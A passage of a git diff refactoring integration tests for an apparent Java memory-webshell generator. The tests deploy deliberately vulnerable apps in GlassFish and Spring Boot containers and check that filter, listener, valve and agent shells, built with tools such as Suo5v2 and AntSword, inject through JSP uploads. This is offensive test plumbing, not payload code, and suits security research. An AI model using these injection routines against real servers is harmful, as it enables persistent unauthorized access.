MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath()); public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath()); - public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath(); - public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath(); - public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath(); - public static final Path springBoot2JettyDockerfile = Path.of("..", "vul", "vul-springboot2-jetty", "Dockerfile").toAbsolutePath(); - public static final Path springBoot2UndertowDockerfile = Path.of("..", "vul", "vul-springboot2-undertow", "Dockerfile").toAbsolutePath(); - public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath(); - public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath(); - public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath(); - public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "asserts", "agent", "jattach-linux")); + public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath()); + public static final MountableFile springBoot2JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.jar").toAbsolutePath()); + public static final MountableFile springBoot2JettyJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-jetty", "build", "libs", "vul-springboot2-jetty.jar").toAbsolutePath()); + public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath()); + public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath()); + public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath()); + public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath()); + + public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath(); + + public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "assets", "agent", "jattach-linux")); public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script", "tomcat_pid.sh")); public static final MountableFile tongweb8Pid = MountableFile.forHostPath(Path.of("script", "tongweb8_pid.sh")); public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh")); public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh")); public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh")); - public static final MountableFile besPid = MountableFile.forHostPath(Path.of("script", "bes_pid.sh")); public static final MountableFile apusicPid = MountableFile.forHostPath(Path.of("script", "apusic_pid.sh")); public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh")); public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh")); @@ -48,28 +49,4 @@ public static String getUrl(GenericContainer container) { log.info("container started, app url is : {}", url); return url; } - - public static String getUrlFromSpringBoot(GenericContainer container) { - int port = container.getMappedPort(8080); - String host = container.getHost(); - String url = "http://" + host + ":" + port; - log.info("container started, app url is : {}", url); - return url; - } - - public static String getUrlFromWebLogic(GenericContainer container) { - int port = container.getMappedPort(7001); - String host = container.getHost(); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } - - public static String getUrlFromWAS(GenericContainer container) { - int port = container.getMappedPort(9080); - String host = container.getHost(); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index adf1b9a7..cd4ae2cc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -90,8 +90,11 @@ public static MemShellResult shellInjectIsOk(String url, String server, String s @SneakyThrows public static MemShellResult shellInjectIsOk(String url, String server, String serverVersion, String shellType, String shellTool, - int targetJdkVersion, Packers packer, - GenericContainer appContainer, GenericContainer pythonContainer) { + int targetJdkVersion, Packers packer, + GenericContainer appContainer, GenericContainer pythonContainer) { + if (ShellTool.Proxy.equals(shellTool)) { + return null; + } Pair urls = getUrls(url, shellType, shellTool, packer); String shellUrl = urls.getLeft(); String urlPattern = urls.getRight(); @@ -397,16 +400,16 @@ public static MemShellResult generate(String urlPattern, String server, String s public static void injectIsOk(String url, String shellType, String shellTool, String content, Packers packer, GenericContainer container) { switch (packer) { - case JSP, ClassLoaderJSP, DefineClassJSP -> { + case JSP, ClassLoaderJSP, ClassLoaderJSPUnicode, DefineClassJSP, DefineClassJSPUnicode -> { String uploadEntry = url + "/upload"; String filename = shellType + shellTool + packer + ".jsp"; String shellUrl = url + "/" + filename; VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.urlIsOk(shellUrl); } - case JSPX -> { + case JSPX, JSPXUnicode -> { String uploadEntry = url + "/upload"; - String filename = shellType + shellTool + ".jspx"; + String filename = shellType + shellTool + packer + ".jspx"; String shellUrl = url + "/" + filename; VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.urlIsOk(shellUrl); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java index 41f499bb..3c34de17 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java @@ -1,100 +1,59 @@ package com.reajason.javaweb.integration.memshell.glassfish; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.apache.commons.lang3.tuple.Triple; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.time.Duration; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class GlassFish3ContainerTest { - public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class GlassFish3ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "reajason/glassfish:3.1.2.2-jdk6", + "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war") + .targetJdkVersion(Opcodes.V1_6) + .waitStrategy(Wait.forLogMessage(".*(deployed|done).*", 1)) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .unSupportedCases(List.of( + Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Suo5v2, Packers.AgentJar), + Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Suo5v2, Packers.AgentJar) + )) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(glassfishPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)) - .withExposedPorts(8080); - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forHttp("/app")); - } - - static Stream casesProvider() { - String server = Server.GlassFish; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP); - List> unSupportedCases = List.of( - Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Suo5v2, Packers.AgentJar), // request.inputStream is empty - Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Suo5v2, Packers.AgentJar) // request.inputStream is empty - ); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } + public static final GenericContainer python = buildPythonContainer(network); - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java index aa791320..82c80ad4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java @@ -1,93 +1,51 @@ package com.reajason.javaweb.integration.memshell.glassfish; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class GlassFish4ContainerTest { - public static final String imageName = "reajason/glassfish:4.1.2-quick"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class GlassFish4ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "reajason/glassfish:4.1.2-quick", + "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(glassfishPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); - } - - static Stream casesProvider() { - String server = Server.GlassFish; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } + public static final GenericContainer python = buildPythonContainer(network); - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java index b6aa1b98..326ca326 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java @@ -1,93 +1,51 @@ package com.reajason.javaweb.integration.memshell.glassfish; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class GlassFish501ContainerTest { - public static final String imageName = "reajason/glassfish:5.0.1"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class GlassFish501ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "reajason/glassfish:5.0.1", + "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(glassfishPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.GlassFish; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } + public static final GenericContainer python = buildPythonContainer(network); - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java index 40bc6e31..911f9fdd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java @@ -1,93 +1,51 @@ package com.reajason.javaweb.integration.memshell.glassfish; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class GlassFish510ContainerTest { - public static final String imageName = "reajason/glassfish:5.1.0"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class GlassFish510ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "reajason/glassfish:5.1.0", + "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(glassfishPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.GlassFish; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } + public static final GenericContainer python = buildPythonContainer(network); - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java index 6ae7e92b..c80bc567 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java @@ -1,92 +1,58 @@ package com.reajason.javaweb.integration.memshell.glassfish; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class GlassFish6ContainerTest { - public static final String imageName = "reajason/glassfish:6.2.6-jdk11"; - static Network network = Network.newNetwork(); +public class GlassFish6ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "reajason/glassfish:6.2.6-jdk11", + "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war") + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V11) + .assertLogs(false) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(glassfishPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.GlassFish; - List supportedShellTypes = List.of( - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); - } - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); -// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_VALVE,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V11); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java index 1ea0adc1..44313c18 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java @@ -1,94 +1,57 @@ package com.reajason.javaweb.integration.memshell.glassfish; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import 